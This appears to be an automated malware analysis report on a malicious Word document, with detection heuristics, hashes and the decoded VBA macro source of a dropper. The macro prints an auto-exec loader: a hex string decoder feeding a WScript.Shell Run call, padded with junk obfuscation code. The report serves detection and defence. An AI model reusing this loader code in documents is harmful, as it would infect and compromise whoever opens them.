Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 704c084b4306dfd3…

MALICIOUS

Office (OLE)

36.5 KB Created: 2018-07-19 14:55:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: b601fa2951d25131b09e9acad76e8bf9 SHA-1: bff5ad122b20dd5588583ca8f69ef86c9a41609c SHA-256: 704c084b4306dfd383f3f61c8218c60a6d5478f03f00f7100db33474d9e77882
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing heavily obfuscated VBA macros. The 'Document_Open' macro, along with calls to 'CreateObject' and 'CallByName', indicates an attempt to execute code upon opening. The ClamAV detection 'Doc.Dropper.Valyria-6666974-0' strongly suggests this is a dropper malware. The obfuscated nature of the script implies it's designed to evade detection and likely downloads a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Valyria-6666974-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6666974-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3984 bytes
SHA-256: df2a11db78082686744f9049bfc306833a33cac0bb3cef52cd48d720e17acb41
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function UQXR_() As String
Dim LUUMNTDGUND_As String = "ZJVFNHK_":SRYXJAVOXR_(SJMDYIMGMTU_ & HYRXOFEPK_(12, 6), 11)):LLLCEBJL_(HRSIIMQXHM_)):KGPZHCTRMWX_ = aMRPZZFCIIBA_:For i = 27 To 58:SFSDREN_(aPJUPKOCFHOQ_ & FXRUMSME_(34, 4), 11)):Next i:Dim LUUMNTDGUND_As String = "ZJVFNHK_":Random(12, 6)SAVXYNOT_:For i = 27 To 58:SFSDREN_(aPJUPKOCFHOQ_ & FXRUMSME_(34, 4), 11)):Next i:Random(IFNMPMVNGY_):SRYXJAVOXR_(SJMDYIMGMTU_ & HYRXOFEPK_(12, 6), 11)):For i = 46 To 95:NSQYEG_(aNJNGEBAISOT_ & CCRMJAIULVI_(54, v), 11)):Next i:Random(12, 6)SAVXYNOT_:Random(IFNMPMVNGY_):Dim LUUMNTDGUND_As String = "ZJVFNHK_":NZKKYZWK_( & vODYZWFGXVL_:For i = 46 To 95:NSQYEG_(aNJNGEBAISOT_ & CCRMJAIULVI_(54, v), 11)):Next i:SRYXJAVOXR_(SJMDYIMGMTU_ & HYRXOFEPK_(12, 6), 11)):LLLCEBJL_(HRSIIMQXHM_)):
End Function
Public Function QTM_(ByVal OMA_ As String)
   Dim KA_ As String: Dim CBR_ As Long: For CBR_ = 1 To Len(OMA_) Step 2: KA_ = KA_ & Chr(Val("&H" & Mid(OMA_, CBR_, 2)) - 79): Next: QTM_ = KA_
End Function
Private Function ZIBJRWE_() As String
JTSBDVJTOE_(LTNFSBOSAV_)):JTSBDVJTOE_(LTNFSBOSAV_)):YHUXMJZI_(JIAGMAESR_ & MOHTHGOFXHU_(12, 6), 11)):YHUXMJZI_(JIAGMAESR_ & MOHTHGOFXHU_(12, 6), 11)):Dim For i = 31 To 94:TZQUSZIBWRX_(aFSKURRGQBGN_ & IGTXWNPJN_(54, v), 11)):Next i:For i = 10 To 82:MXOVPRWDCT_(aFSFWMIGDL_ & SACLQIJTU_(34, 4), 11)):Next i:Dim TWZULG_As String = "JZUFRKC_":UWDNNB_( & vEJGBXNMD_:ZMWQUOCA_ = aLTBSGLEWBMR_:Dim TWZULG_As String = "JZUFRKC_":Dim TWZULG_As String = "JZUFRKC_":JTSBDVJTOE_(LTNFSBOSAV_)):UWDNNB_( & vEJGBXNMD_:YHUXMJZI_(JIAGMAESR_ & MOHTHGOFXHU_(12, 6), 11)):JTSBDVJTOE_(LTNFSBOSAV_)):Dim For i = 31 To 94:TZQUSZIBWRX_(aFSKURRGQBGN_ & IGTXWNPJN_(54, v), 11)):Next i:Dim TWZULG_As String = "JZUFRKC_":
End Function
Sub Document_Open()
Application.Run QTM_("A191A9AE")
End Sub
Private Function SIP_() As String
For i = 47 To 76:BNPZBDZJSAQ_(aBFIEPSWS_ & IWPCOREYWF_(54, v), 11)):Next i:HVMGSDPFM_(WGCKIJ_ & ORTMSZ_(12, 6), 11)):For i = 20 To 63:VHGADSKN_(aUOZDDSNNAYL_ & PPDLXGKQTSE_(34, 4), 11)):Next i:For i = 20 To 63:VHGADSKN_(aUOZDDSNNAYL_ & PPDLXGKQTSE_(34, 4), 11)):Next i:HVMGSDPFM_(WGCKIJ_ & ORTMSZ_(12, 6), 11)):Random(ERGRYIJBKOH_):Random(12, 6)LWVRHKYRGG_:Dim DQGNFSVUIBW_As String = "GULTDHTLCG_":For i = 47 To 76:BNPZBDZJSAQ_(aBFIEPSWS_ & IWPCOREYWF_(54, v), 11)):Next i:Dim Dim DQGNFSVUIBW_As String = "GULTDHTLCG_":For i = 47 To 76:BNPZBDZJSAQ_(aBFIEPSWS_ & IWPCOREYWF_(54, v), 11)):Next i:Dim DQGNFSVUIBW_As String = "GULTDHTLCG_":For i = 47 To 76:BNPZBDZJSAQ_(aBFIEPSWS_ & IWPCOREYWF_(54, v), 11)):Next i:Random(12, 6)LWVRHKYRGG_:XRBRKKWCVL_( & vTRZWNM_:TADWTNGMZ_(ZXXRNPWL_)):TADWTNGMZ_(ZXXRNPWL_)):ENILFJXA_ = aNECXSOMUSE_:
End Function
Sub RBZ_()
    CallByName CreateObject(QTM_("A6A2B2C1B8BFC37DA2B7B4BBBB")), QTM_("A1C4BD"), VbMethod, QTM_(ActiveDocument.Variables("UIEMLI").Value), 0, True
End Sub
Private Function CQO_() As String
MGHODZCDO_( & vGATFXR_:Dim JYYSJT_As String = "EALJKXPNU_":For i = 39 To 90:VTHOMFN_(aBEDUTDFW_ & GPNLKCFPRC_(54, v), 11)):Next i:For i = 39 To 90:VTHOMFN_(aBEDUTDFW_ & GPNLKCFPRC_(54, v), 11)):Next i:MGHODZCDO_( & vGATFXR_:For i = 40 To 77:EFUMOS_(aNSMOJGOFJ_ & IXKIDIXLD_(34, 4), 11)):Next i:MGHODZCDO_( & vGATFXR_:Dim JYYSJT_As String = "EALJKXPNU_":Dim VPFUNQ_(AXWBKXLEAM_ & HEDLXBDLDFZ_(12, 6), 11)):Dim JYYSJT_As String = "EALJKXPNU_":For i = 40 To 77:EFUMOS_(aNSMOJGOFJ_ & IXKIDIXLD_(34, 4), 11)):Next i:Random(HAAXAH_):VPFUNQ_(AXWBKXLEAM_ & HEDLXBDLDFZ_(12, 6), 11)):VPFUNQ_(AXWBKXLEAM_ & HEDLXBDLDFZ_(12, 6), 11)):Dim JYYSJT_As String = "EALJKXPNU_":Dim For i = 40 To 77:EFUMOS_(aNSMOJGOFJ_ & IXKIDIXLD_(34, 4), 11)):Next i:Random(12, 6)PCVLQBYVDKA_:
End Function

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